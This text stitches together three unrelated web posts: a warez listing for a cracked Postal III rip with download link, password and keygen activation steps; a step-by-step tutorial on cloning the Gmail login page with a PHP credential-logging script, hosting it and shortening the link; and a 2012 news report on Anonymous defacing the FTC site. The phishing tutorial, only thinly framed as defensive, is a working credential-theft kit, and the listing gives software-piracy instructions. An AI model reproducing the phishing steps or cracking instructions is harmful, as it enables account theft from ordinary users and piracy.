Postal III Eng RiP MediaFire Links

Postal 3 Eng RiP MediaFire Links

The third edition of the comically violent, seriously violent, and just plain violent videogame series. This time out, you can lead your gun-toting character towards a variety of different life paths, including a serial killer, an activist gone eco-terrorist, and, most vile of all, a presidential candidate. A wide array of celebrity performances are used to bring the sick and crazy game to life, while the Source engine provides the power behind the game's social satire and politically incorrect virtual violence. 

Minimum System Requirements

OS: Windows 7 / Vista / XP
Processor: 3.0 Ghz P4, Dual Core 2.0 (or higher) or AMD64X2 (or higher)
Memory: 1GP XP/2GB Vista
Hard Disk Space: 6 GB
Video Card: Video card must 128MB or more and should be a DirectX 9 –compatible with support for Pixel Shaders
DirectX®: 9.0c
Sound: DirectX 9.0c Compatible 

Ripped by: RaS
Ripped: Movies
Language: Voice: English Text: Multi 16(partial)
Version:1.11
Size: 2.02 GB

Download:

http://www.mediafire.com/?99a98rtdwvnk1

Pass: www.rgamer.cz.cc

Activation:
1. Mount POSTAL3_mini.isz with DT(included)
2. Run p3.exe, keygen.exe
3. Follow crack.jpg(inside game folder)

DLC Gama-Gun http://www.mediafire.com/?vc2bnnhghdda4k6

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How Hackers make fake login page And hack Accounts Using Phishing Technic

Now I am going to tell you how hackers hack gmail,yahoo and other accounts using phishing Technic for it they makey fake login page here is how they do it
Beware of cyber crime. you have seen this line many times on the internet. Phishing is also comes user cyber crime. Phishing is the process of stealing sensitive information, such as usernames, passwords, and bank information, by pretending to be someone you’re not. An example of this would be if you receive and e-mail from a hacker pretending to be your bank. In this e-mail, it might tell you that you need to update your account before it expires, and then the hacker provides a link. Once you click on the link, you arrive at a website that looks exactly like your actual bank page. In reality it’s just a perfect replica, and when you input your login details, it sends it to the hackers email or stores it on his web server. 

Hackers that create the best, most deceiving phishing web pages are knowledgeable in the area of HTML and the PHP programming. Below I will show a simple example of some of the steps a hacker might take to create a phishing website. By seeing the steps a hacker would take, will help you defend against such an attack. 

Steps:
1. First the hacker chooses a target. The most popular targets for phishing attacks are e-mail services such as Yahoomail and Gmail because they are the most common and once a hacker gets access to your e-mail, he also gets access to a load of other user information for all the other websites you use. In this example we will pretend the hacker chose Gmail as his target.


2. After choosing his target, the hacker will go to the website and save the whole main page. I use Mozilla Firefox ,(highly recommend using this browser for its security and customization.) So I would go to www.gmail.com and click File -> Save page as… , or simply hit  + S
which does this automatically. Choose where you would like to save the web page and hit Save.

3. Once you have it saved, rename ServiceLogin.htm to index.htm. The reason you want to name it “index” is so when you upload it to a web host and someone goes to your link, the index page is the first page that shows up.

4. Next the hacker would create a PHP script to do his dirty deed of steeling your information. Below is a simple PHP script that logs and stores your login details when you click “Sign in”. To see how it works, copy and paste the following code into notepad. Next save it into the same directory as you saved the Gmail page, and name it phish.php. In addition to the phish.php page, create a new empty text file and name it list.txt.

Header(“Location: https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl&bsv=1k96igf4806cy&ltmpl=default&ltmplcache=2 “); // once you click “Sign in” in the fake website, this redirects you to the real Gmail website, making the whole process look more legit.

$handle = fopen(“list.txt”, “a”); // this tells the server to open the file “list.txt” and get it ready for appending data. Which in this case is your username and password.

Foreach($_GET as $variable => $value) {

fwrite($handle, $variable);

fwrite($handle, “=”);

fwrite($handle, $value);

fwrite($handle, “\r\n”);

} // This section simply assigns all the information going through this form to a variable. This includes your username and password.

Fwrite($handle, “\r\n”); // This writes your details to the file “list.txt”

fclose($handle); // This simply closes the connection to the file “list.txt”

exit;

?> // Marks the end of the PHP program.

So far you should see the following in your folder: copy the above code and paste an notepad and save it as phish.php

5. Now the hacker would have to edit the main Gmail page to include his PHP script. To see what the hacker would do, open up the main Gmail page named index.htm with notepad.
6. Hit + F , or go to Edit -> Find , type in action and hit “Find Next”.

7. This will highlight the first occurrence of the word “action” in the script and you should see the following:

There are two “action” occurrences in the script so make sure you have the right one by looking at the “form id” name above. Change the link between action = “ “ to phish.php . This will make the form submit to your PHP phish script instead of to Google. After the link you will see the code:
Change the word “POST” to “GET” so that it looks like method=”GET”. What the GET method does is submit the information you type in through the URL so that the PHP script can log it.


8. Save and close the file.


9. Next the hacker would upload the files up to a free webhost that supports PHP. you can readHow to get free webhosting. popular free web hosting are freehostia.com, t35.com


10. Once all the files are uploaded, you must give writing permissions to the “list.txt” file. Every hosting company should have a CHMOD option next to each file. Select this option and change the file permission for “list.txt” to 777. If you can’t figure out how to do this, ask people that use the same host or simply Google something similar to: “yourwebhostname chmod”. (Do this steps if script does not work.)


11. Once everything is up and ready to go, go to the link your host provided you for your website and you should see the Gmail page replica. This link may be very long and looking good so you can short this link using goo.gl or bit.ly 


12.Type in a username/password and click Sign in. This should have redirected you to the real Gmail page.


13. Now go take a look at your list.txt file by going through your hosting file manager or going to http://www.yourwebhosturl.com/youraccount/list.txt. Although this is the most common, the web host you use may provide a different looking URL. Now if I put a username of “myusername” and a password of “mypassword” then “list.txt” would now look like the following:

As you can see if you fell for this the hacker would have your email and password.

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Anonymous hacks into the FTC online security site, warns of more protest action

Anonymous has brought down yet another US government website, as the FTC’sfederal online security site was hacked by the anonymous collective, as it continues to attack sites in protest at a number of US Internet laws and the closure of file sharing site Megaupload.

The front page of the site has been replaced by a screen featuring the now infamous Anonymous logo, a rap song and a message to politicians and US authorities, which warns of future attacks and action should SOPA, PIPA and ACTA be passed as laws:

If SOPA/PIPA/ACTA passes we will wage a relentless war against the corporate internet, destroying dozens upon dozens of government and company websites. As you are reading this we are amassing our allied armies of darkness, preparing boatloads of stolen booty for our next raid. We are sitting on hundreds of rooted servers getting ready to drop all your mysql dumps and mail spools. Your passwords? Your precious bank accounts? Even your online dating details?! You ain’t even trying to step to this.

The attack has also seen a range of data about the site, including contact details of FTC officials, published on the page.

News of the attack came from @YourAnonNews, which had earlier warned that the group was about to take action.

Anonymous@YourAnonNews

Oh noes! Looks like the FTC's onguardonline.gov has been hacked by #Anonymous! ^__^

24 Jan 12

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Last week saw Anonymous made one of its most significant moves yet as it brought down the FBI’s website, and nine others, in response to the US Department of Justice (DoJ) decision to suspend and investigate file sharing service Megaupload.

The investigationn is reported to be one of the biggest criminal copyright cases ever, with the Mega holding company reported to have cost the entertainment industry upwards of $500 million in lost revenue.

Last week, Anonymous was reported to be planning an assault on Sony, in response to the company’s initial pro-SOPA stance. However, the scheduled day passed without significance, while the Megaupload case brought a set of new targets for the hacking collective.

Yesterday, Anonymous threatened to bring down Facebook, although, as our ownDrew Olanoff points out, such a move seems unlikely as Facebook has strong security itself but the motivation is also unclear.

Anonymous is a loose collection of ‘hacktivists’, and little is known of its leadership but the group is reportedly trying to bolster its public image as a defender of the people rather than outright troublemaker. A move to attack Facebook, which is the world’s most popular site as it closes in on one billion users, would appear to go against that.

Plus, proposed action against Facebook last year was alleged to have fallen flat due to a lack of support. That’s despite the fact that, as ZDNet points out, Anonymous doesn’t support the social network’s cause.

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